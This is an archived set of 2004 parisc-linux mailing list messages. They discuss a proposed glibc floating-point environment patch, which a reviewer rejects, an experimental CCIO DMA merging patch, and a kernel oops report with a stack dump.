X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Mar  2 07:59:38 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8166F4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 07:59:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AyBMt-0005OX-00; Tue, 02 Mar 2004 15:59:35 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 2 Mar 2004 15:59:34 +0100
In-Reply-To: <20040301193815.GG21769@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 14:59:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20971

>
>Show me a patch.
>
something like this perhaps?

--- ./feupdateenv.c.orig	2004-03-02 15:21:25.959085856 +0100
+++ ./feupdateenv.c	2004-03-02 07:53:27.938166120 +0100
@@ -28,11 +28,16 @@
   /* Get the current exception status. */
   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
   sw[0] &= FE_ALL_EXCEPT;
-  envp->__status_word = envp->__status_word | sw[0];
+/*  envp->__status_word = envp->__status_word | sw[0]; */
   
   /* Install new environment.  */
   fesetenv (envp);
 
+  /* Raise the safed exception.  Incidently for us the implementation
+     defined format of the values in objects of type fexcept_t is the
+     same as the ones specified using the FE_* constants.  */
+  feraiseexcept (sw[0]);
+
   /* Success.  */
   return 0;
 }

Thanks in advance for attention,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Tue, 2 Mar 2004 15:27:44 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20040302152744.GH25779@parcelfarce.linux.theplanet.co.uk>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623235 6247 80.91.229.3 (22 Nov 2014 02:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:15 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Tue Mar  2 08:27:46 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8804F4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 08:27:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AyBo8-00067B-UA; Tue, 02 Mar 2004 15:27:44 +0000
Content-Disposition: inline
In-Reply-To: <402A4CA50000D57D@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 15:27:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20972

On Tue, Mar 02, 2004 at 03:59:34PM +0100, Joel Soete wrote:
> +  /* Raise the safed exception.  Incidently for us the implementation

"saved exception" or "safe exception"?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] experimental patch to Fix CCIO virtual merging
Date: 02 Mar 2004 12:44:51 -0600
Lines: 274
Approved: news@gmane.org
Message-ID: <1078253092.1804.58.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623235 6249 80.91.229.3 (22 Nov 2014 02:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:15 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Mar  2 11:44:55 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AC8B4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 11:44:55 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i22Ij8a01694 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Mar 2004 13:45:08 -0500
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 18:44:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20973

The algorithm the ccio currently uses to do virtual merging is rather
non-optimal.  The attached patch fixes it to merge virtually whenever
the adjacent I/O pieces begin and end on a page boundary, which produces
much better merging.

This code also found a bug in the ccio pdir allocation which trips when
the number of pages requested == BITS_PER_LONG.  I've put in a temporary
work around, but Grant should be doing a better fix.

Just a warning:  This patch affects the I/O mapping stream.  If you find
a bug in it, it will likely be *after* it has trashed your root drive...

I've also left in all the debug tests and printks.

James

===== drivers/parisc/ccio-dma.c 1.15 vs edited =====
--- 1.15/drivers/parisc/ccio-dma.c	Tue Feb  3 23:42:34 2004
+++ edited/drivers/parisc/ccio-dma.c	Tue Mar  2 12:01:09 2004
@@ -41,6 +41,7 @@
 #define PCI_DEBUG
 #include <linux/pci.h>
 #undef PCI_DEBUG
+#include <linux/reboot.h>
 
 #include <asm/byteorder.h>
 #include <asm/cache.h>		/* for L1_CACHE_BYTES */
@@ -343,7 +344,10 @@
 	ASSERT((pages_needed * IOVP_SIZE) <= DMA_CHUNK_SIZE);
 	ASSERT(pages_needed <= BITS_PER_LONG);
 
-	mask = ~(~0UL >> pages_needed);
+	if(pages_needed == BITS_PER_LONG)
+		mask = ~0UL;
+	else
+		mask = ~(~0UL >> pages_needed);
      
 	DBG_RES("%s() size: %d pages_needed %d mask 0x%08lx\n", 
 		__FUNCTION__, size, pages_needed, mask);
@@ -877,12 +881,13 @@
 {
 	struct scatterlist *dma_sg = startsg;	/* pointer to current DMA */
 	int n_mappings = 0;
-	u64 *pdirp = 0;
 	unsigned long dma_offset = 0;
+	u64 *pdirp = NULL;
 
-	dma_sg--;
 	while (nents-- > 0) {
-		int cnt = sg_dma_len(startsg);
+		unsigned long vaddr;
+		long size;
+
 		sg_dma_len(startsg) = 0;
 
 		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
@@ -890,44 +895,46 @@
 			   sg_virt_addr(startsg), startsg->length
 		);
 
+
 		/*
 		** Look for the start of a new DMA stream
 		*/
-		if(sg_dma_address(startsg) & PIDE_FLAG) {
+		
+		if (sg_dma_address(startsg) & PIDE_FLAG) {
 			u32 pide = sg_dma_address(startsg) & ~PIDE_FLAG;
+
 			dma_offset = (unsigned long) pide & ~IOVP_MASK;
-			sg_dma_address(startsg) = 0;
-			dma_sg++;
+			if (pdirp)
+				dma_sg++;
+			n_mappings++;
 			sg_dma_address(dma_sg) = pide;
 			pdirp = &(ioc->pdir_base[pide >> IOVP_SHIFT]);
-			n_mappings++;
 		}
-
-		/*
-		** Look for a VCONTIG chunk
-		*/
-		if (cnt) {
-			unsigned long vaddr = sg_virt_addr(startsg);
-			ASSERT(pdirp);
-
-			/* Since multiple Vcontig blocks could make up
-			** one DMA stream, *add* cnt to dma_len.
-			*/
-			sg_dma_len(dma_sg) += cnt;
-			cnt += dma_offset;
-			dma_offset=0;	/* only want offset on first chunk */
-			cnt = ROUNDUP(cnt, IOVP_SIZE);
+		
+		if (unlikely(pdirp == NULL)) {
+			printk("NULL PDIRP AT OFFSET %d\n",
+			       n_mappings);
+			dump_stack();
+			machine_restart(NULL);
+		}
+		
+		vaddr = sg_virt_addr(startsg);
+		sg_dma_len(dma_sg) += startsg->length;
+		size = startsg->length + dma_offset;
+		if (unlikely(size > IOVP_SIZE)) {
+			printk("VIRTUAL CHUNK has size 0x%lx\n",
+			       size);
+		}
 #ifdef CONFIG_PROC_FS
-			ioc->msg_pages += cnt >> IOVP_SHIFT;
+		ioc->msg_pages += startsg->length >> IOVP_SHIFT;
 #endif
-			do {
-				ccio_io_pdir_entry(pdirp, KERNEL_SPACE, 
-						   (void *)vaddr, hint);
-				vaddr += IOVP_SIZE;
-				cnt -= IOVP_SIZE;
-				pdirp++;
-			} while (cnt > 0);
-		}
+		do {
+			ccio_io_pdir_entry(pdirp, KERNEL_SPACE, 
+					   (void *)vaddr, hint);
+			vaddr += IOVP_SIZE;
+			size -= IOVP_SIZE;
+			pdirp++;
+		} while(size > 0);
 		startsg++;
 	}
 	return(n_mappings);
@@ -946,10 +953,7 @@
 static CCIO_INLINE int
 ccio_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents)
 {
-	struct scatterlist *vcontig_sg;    /* VCONTIG chunk head */
-	unsigned long vcontig_len;         /* len of VCONTIG chunk */
-	unsigned long vcontig_end;
-	struct scatterlist *dma_sg;        /* next DMA stream head */
+	struct scatterlist *contig_sg;	   /* contig chunk head */
 	unsigned long dma_offset, dma_len; /* start/len of DMA stream */
 	int n_mappings = 0;
 
@@ -958,9 +962,8 @@
 		/*
 		** Prepare for first/next DMA stream
 		*/
-		dma_sg = vcontig_sg = startsg;
-		dma_len = vcontig_len = vcontig_end = startsg->length;
-		vcontig_end += sg_virt_addr(startsg);
+		contig_sg = startsg;
+		dma_len = startsg->length;
 		dma_offset = sg_virt_addr(startsg) & ~IOVP_MASK;
 
 		/* PARANOID: clear entries */
@@ -972,7 +975,10 @@
 		** it's always looking one "ahead".
 		*/
 		while(--nents > 0) {
-			unsigned long startsg_end;
+			unsigned long prevstartsg_end, startsg_end;
+
+			prevstartsg_end = sg_virt_addr(startsg) +
+				startsg->length;
 
 			startsg++;
 			startsg_end = sg_virt_addr(startsg) + 
@@ -992,31 +998,15 @@
 				break;
 
 			/*
-			** Append the next transaction?
+			** Next see if we can append the next chunk (i.e.
+			** it must end on one page and begin on another
 			*/
-			if (vcontig_end == sg_virt_addr(startsg)) {
-				vcontig_len += startsg->length;
-				vcontig_end += startsg->length;
-				dma_len     += startsg->length;
-				continue;
+			if ((prevstartsg_end & ~PAGE_MASK) != (sg_virt_addr(startsg) & ~PAGE_MASK)) {
+				printk("IOMMU FORBIDDING MERGE OF 0x%lx and 0x%lx\n", prevstartsg_end, sg_virt_addr(startsg));
+				break;
 			}
-
-			/*
-			** Not virtually contigous.
-			** Terminate prev chunk.
-			** Start a new chunk.
-			**
-			** Once we start a new VCONTIG chunk, dma_offset
-			** can't change. And we need the offset from the first
-			** chunk - not the last one. Ergo Successive chunks
-			** must start on page boundaries and dove tail
-			** with its predecessor.
-			*/
-			sg_dma_len(vcontig_sg) = vcontig_len;
-
-			vcontig_sg = startsg;
-			vcontig_len = startsg->length;
-			break;
+			
+			dma_len     += startsg->length;
 		}
 
 		/*
@@ -1024,9 +1014,9 @@
 		** Terminate last VCONTIG block.
 		** Allocate space for DMA stream.
 		*/
-		sg_dma_len(vcontig_sg) = vcontig_len;
+		sg_dma_len(contig_sg) = dma_len;
 		dma_len = ROUNDUP(dma_len + dma_offset, IOVP_SIZE);
-		sg_dma_address(dma_sg) =
+		sg_dma_address(contig_sg) =
 			PIDE_FLAG 
 			| (ccio_alloc_range(ioc, (dma_len >> IOVP_SHIFT)) << IOVP_SHIFT)
 			| dma_offset;
@@ -1053,6 +1043,8 @@
 	int coalesced, filled = 0;
 	unsigned long flags;
 	unsigned long hint = hint_lookup[(int)direction];
+	unsigned long prev_len = 0, current_len = 0;
+	int i;
 	
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
@@ -1067,6 +1059,9 @@
 		sg_dma_len(sglist) = sglist->length;
 		return 1;
 	}
+
+	for(i = 0; i < nents; i++)
+		prev_len += sglist[i].length;
 	
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
@@ -1096,8 +1091,31 @@
 
 	spin_unlock_irqrestore(&ioc->res_lock, flags);
 
-	ASSERT(coalesced == filled);
+	if (unlikely(coalesced != filled)) {
+		printk("OOPS coalesced = %d, filled = %d\n", coalesced,
+		       filled);
+		BUG();
+	}
 	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, filled);
+
+	for (i = 0; i < filled; i++)
+		current_len += sg_dma_len(sglist + i);
+
+	if (unlikely(current_len != prev_len)) {
+		printk("OOPS current len = %ld, prev len = %ld\n", current_len,
+		       prev_len);
+		BUG();
+	}
+
+	if (unlikely(filled != 1)) {
+		printk("IOMMU merge length %ld, segments %d\n",
+		       current_len, filled);
+		for(i = 0; i < filled; i++) {
+			printk(" %d: addr 0x%lx, len 0x%x\n", i,
+			       (unsigned long)sg_dma_address(sglist + i),
+			       (unsigned int)sg_dma_len(sglist + i));
+		}
+	}
 
 	return filled;
 }





From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Tue, 2 Mar 2004 14:50:50 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20040302195050.GE19402@baldric.uwo.ca>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623235 6251 80.91.229.3 (22 Nov 2014 02:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Mar  2 12:52:50 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6D564840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 12:52:49 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AyFuk-0005Rq-00; Tue, 02 Mar 2004 14:50:50 -0500
Content-Disposition: inline
In-Reply-To: <402A4CA50000D57D@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (36% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 19:52:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20974

Joel,

Could you lookup the C99 specification please?

> --- ./feupdateenv.c.orig	2004-03-02 15:21:25.959085856 +0100
> +++ ./feupdateenv.c	2004-03-02 07:53:27.938166120 +0100
> @@ -28,11 +28,16 @@
>    /* Get the current exception status. */
>    __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
>    sw[0] &= FE_ALL_EXCEPT;
> -  envp->__status_word = envp->__status_word | sw[0];
> +/*  envp->__status_word = envp->__status_word | sw[0]; */

This is required to set the flags. Please review the specfications.

>    /* Install new environment.  */
>    fesetenv (envp);
>  
> +  /* Raise the safed exception.  Incidently for us the implementation
> +     defined format of the values in objects of type fexcept_t is the
> +     same as the ones specified using the FE_* constants.  */
> +  feraiseexcept (sw[0]);
> +

AFAIK, this is not correct, the spec says that it will be an OR of the
raised exceptions, e.g. an OR of the raised flags. 

Calling feraiseexcept could fault the program.

>    /* Success.  */
>    return 0;
>  }

c.



From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: another kernel oops
Date: Tue, 2 Mar 2004 23:39:50 +0100
Lines: 191
Approved: news@gmane.org
Message-ID: <20040302223950.GA23926@wiggy.net>
References: <20040302100622.GL2502@wiggy.net>
	<20040302130323.GA17623@wiggy.net>
	<20040302134138.GA19692@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623236 6253 80.91.229.3 (22 Nov 2014 02:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Tue Mar  2 15:39:52 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2E1A4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 15:39:50 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AyIYI-0007CS-3b
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Mar 2004 23:39:50 +0100
Mail-Followup-To: Wichert Akkerman <wichert@wiggy.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040302134138.GA19692@wiggy.net>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 22:39:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20975

This eems to be a common one: I previously had pretty much the same
oops with jejb's kernel and it hit again with the kernel tausq compiled
for me.

Wichert.

Stack Dump:
 0000000046b6d178:  0000000046b6d178 0800000000000000 000e5ed0000e5ee4 0000000046b6cc80
 0000000046b6d158:  0000000000000000 00000000104652a0 000000000000001a 00000000000002b3
 0000000046b6d138:  000e5e88000e5e94 000000001010618c 000e5e78000e5e84 0800000000000000
 0000000046b6d118:  000e5e68000e5e74 0800000000000000 0000000040019000 00000000446a4000
 0000000046b6d0f8:  000000004b64d0c8 000000008c1301c0 00000000104652a0 0000000000000001
 0000000046b6d0d8:  00000000104652a0 000000008c1301c0 000000008ec174c0 0000000000000000
 0000000046b6d0b8:  000e5e04000e5e14 00000000101758f8 000e5df0000e5e00 0800000000000000
 0000000046b6d098:  000e5ddc000e5dec 0800000000000000 000e5dc8000e5dd8 0800000000000000
 0000000046b6d078:  0000000000000000 00000000104652a0 00000000104652a0 0000000000038022
 0000000046b6d058:  0000000000000000 0800000000000000 0000000040019000 00000000446a4000
 0000000046b6d038:  000000008ec17480 000000008c1301c0 00000000104652a0 0000000000000001
 0000000046b6d018:  00000000104652a0 000000000000000f 000000008ec174c0 0000000046b6c588
 0000000046b6cff8:  0000000086d44a28 0000000086d449c0 000000008f3162f8 0000000046b6c880
 0000000046b6cfd8:  0000000046b6c368 000000008c1301c0 00000001104652a0 0000000000000001
 0000000046b6cfb8:  0049424d3836362f 000000001010c094 001870b800000000 00186fc200000000
 0000000046b6cf98:  00000001000000bf 00186fb000186fb9 736f000000000051 2f49424d3836362e
 0000000046b6cf78:  69622f67636f6e76 4c002f7573722f6c 00494e5445524e41 49424d3836362f2f
 0000000046b6cf58:  0000000000187060 00186f7200000000 00000001000000be 00186f6000186f69
 0000000046b6cf38:  0000000000000051 001871a000000000 00186f0800186de0 00000000000002b3
 0000000046b6cf18:  0000000000000000 000000000f4010d5 0000000000000006 000000000021
 0000000046b6cef8:  0000000046b6c880 000000008c1301c0 000000008ec174c0 00000000104652a0
 0000000046b6ced8:  0000000010232a94 0000000010232a90 0000000000000000 0000000000000000
 0000000046b6ceb8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 0000000046b6ce98:  0000000000020980 0000000000000000 0000000000020980 0000000000020980
 0000000046b6ce78:  000000000000014a 0000000010189778 00000000f000028c 0000000000000802
 0000000046b6ce58:  0000000010471020 0000000013251000 0000000000000000 0000000113275e80
 0000000046b6ce38:  0000000000000000 0000000000000000 0000000010525d40 0000000000000000
 0000000046b6ce18:  00000000104e6ec0 000000008fbf3178 00000000104652a0 0000000010525d40
 0000000046b6cdf8:  ffffffffffffffff 0000000010187a28 0000000000000802 00000000104652a0
 0000000046b6cdd8:  0000000013276000 0000000000000000 0000000000000802 000000000000
 0000000046b6cdb8:  00000000104f8258 000000003ccbf700 0000000000000802 00000000104652a0
 0000000046b6cd98:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 0000000046b6cd78:  0000000000000000 0000000046b6cc80 0000000046b6cc70 fffffffffffffffb
 0000000046b6cd58:  00000000104652a0 00000000000002b3 0000000000038022 0000000000001000
 0000000046b6cd38:  000000000000003f 0000000000000006 00000000000000eb 0000000000000002
 0000000046b6cd18:  00000000000002ab 0000000013275e80 00000000faf01710 0000000000000000
 0000000046b6ccf8:  0000000000000002 0000000000000001 0000000000000000 0000000046b6c788
 0000000046b6ccd8:  0000000000038022 00000000faf01a08 000000008f2b1838 000000008f2b1838
 0000000046b6ccb8:  0000000000000000 0000000000038022 00000000104652a0 00000000104652a0
 0000000046b6cc98:  0000000000000000 0000000010160098 0000000010513108 000000ff0806
 0000000046b6cc78:  00000000856c8578 00000000101ea820 00000000104652a0 000000008f2d2138
 0000000046b6cc58:  0000000000001000 0000000000000000 00000000104652a0 00000000103dd058
 0000000046b6cc38:  0000000078c19280 0000000010154534 00186da800000000 000000001037a228
 0000000046b6cc18:  0000000046b6c988 00000000104652a0 0000000046b6cac0 00000000104652a0
 0000000046b6cbf8:  00000000104652a0 000000001018abec 00000000104f8258 000000008f52f400
 0000000046b6cbd8:  000000008f6ce000 0000000000000007 00000000104652a0 000000000001972c
 0000000046b6cbb8:  0000000000000007 0000000046b6c788 00000000faf01a08 0000000000000000
 0000000046b6cb98:  00000000104652a0 000000008fffa940 0000000000038022 0000000000001000
 0000000046b6cb78:  0000000000000005 000000001018c91c 0000000000000000 0000000046b6cb48
 0000000046b6cb58:  0000000000000000 00000000104652a0 0000000000000000 00000000104652a0 0000000046b6cb38:  000000008f2d2138 0000000010148f80 0000000000000000 00000000104652a0
 0000000046b6cb18:  0000000000001000 000000008fffa940 0000000000038022 00000000104652a0
 0000000046b6caf8:  00000000104652a0 000000001018ca14 0000000000000000 00000000104652a0
 0000000046b6cad8:  0000000046b6c480 0000000000000002 00000000402a1000 0000000046b6c9c8
 0000000046b6cab8:  0000000000000000 0000000000000000 000000008f9d9c60 0000000000000001
 0000000046b6ca98:  0000000000000000 000000008f9d9c60 0000000000000001 0000000046b6c788
 0000000046b6ca78:  00000000856c8c00 00000000101d9530 00000000104652a0 000000008f2d2478
 0000000046b6ca58:  00000000faf01688 0000000046b6c480 0000000000000000 0000000000000001
 0000000046b6ca38:  0000000013283400 0000000010149034 00000000104652a0 000000008f2d2230
 0000000046b6ca18:  0000000000000000 0000000000000000 000000008f6c8e00 00000000104652a0
00000046b6c9f8:  ffffffffffffffff 00000000101e8cd8 0000000000000000 0000000046b6c9c8
 0000000046b6c9d8:  0000000046b6c9c8 0000000046b6c9c8 0000000000000000 000000008f9d9c60
 0000000046b6c9b8:  000000008f9d9c60 0000000046b6c788 000000008ca8f000 00000000104652a0
 0000000046b6c998:  000000008f2b1838 00000000faf01a08 00000000104652a0 0000000000000101
 0000000046b6c978:  00000000402a1000 00000000101da7c4 0000000046b6c958 0000000046b6c958
 0000000046b6c958:  0000000046b6c958 0000000010509e30 000000008f9d9c60 000000008f6c8e00
 0000000046b6c938:  00000000104652a0 000000008f2b1838 000000008ca8f000 0000000046b6c208
 0000000046b6c918:  000000008ca8f015 00000000faf01a08 00000000104652a0 00000000104652a0
 0000000046b6c8f8:  000000008f3162f8 00000000101e8dfc 0000000086d44a28 0000000000000000
 0000000046b6c8d8:  00000000103e3248 00000000119641f0 00000000104652a0 00000000104652a0
 0000046b6c8b8:  00000000119641f0 00000000104652a0 000000008f9d9c60 000000008f2b1838
 0000000046b6c898:  000000008f2b1838 000000008ca8f000 0000000046b6c208 000000008ca8f015
 0000000046b6c878:  0000000078c192e8 00000000101da8d4 0000000000000001 0000000000000000
 0000000046b6c858:  0000000011f72a60 00000000103e3248 00000000104652a0 00000000103e3f28
 0000000046b6c838:  0000000000000001 0000000000000040 0000000040298000 0000000040000000
 0000000046b6c818:  00000000402a1000 00000000104652a0 00000000104652a0 0000000000000000
 0000000046b6c7f8:  0000000046b6c188 00000000101e022c 00000000104652a0 000000000001a000
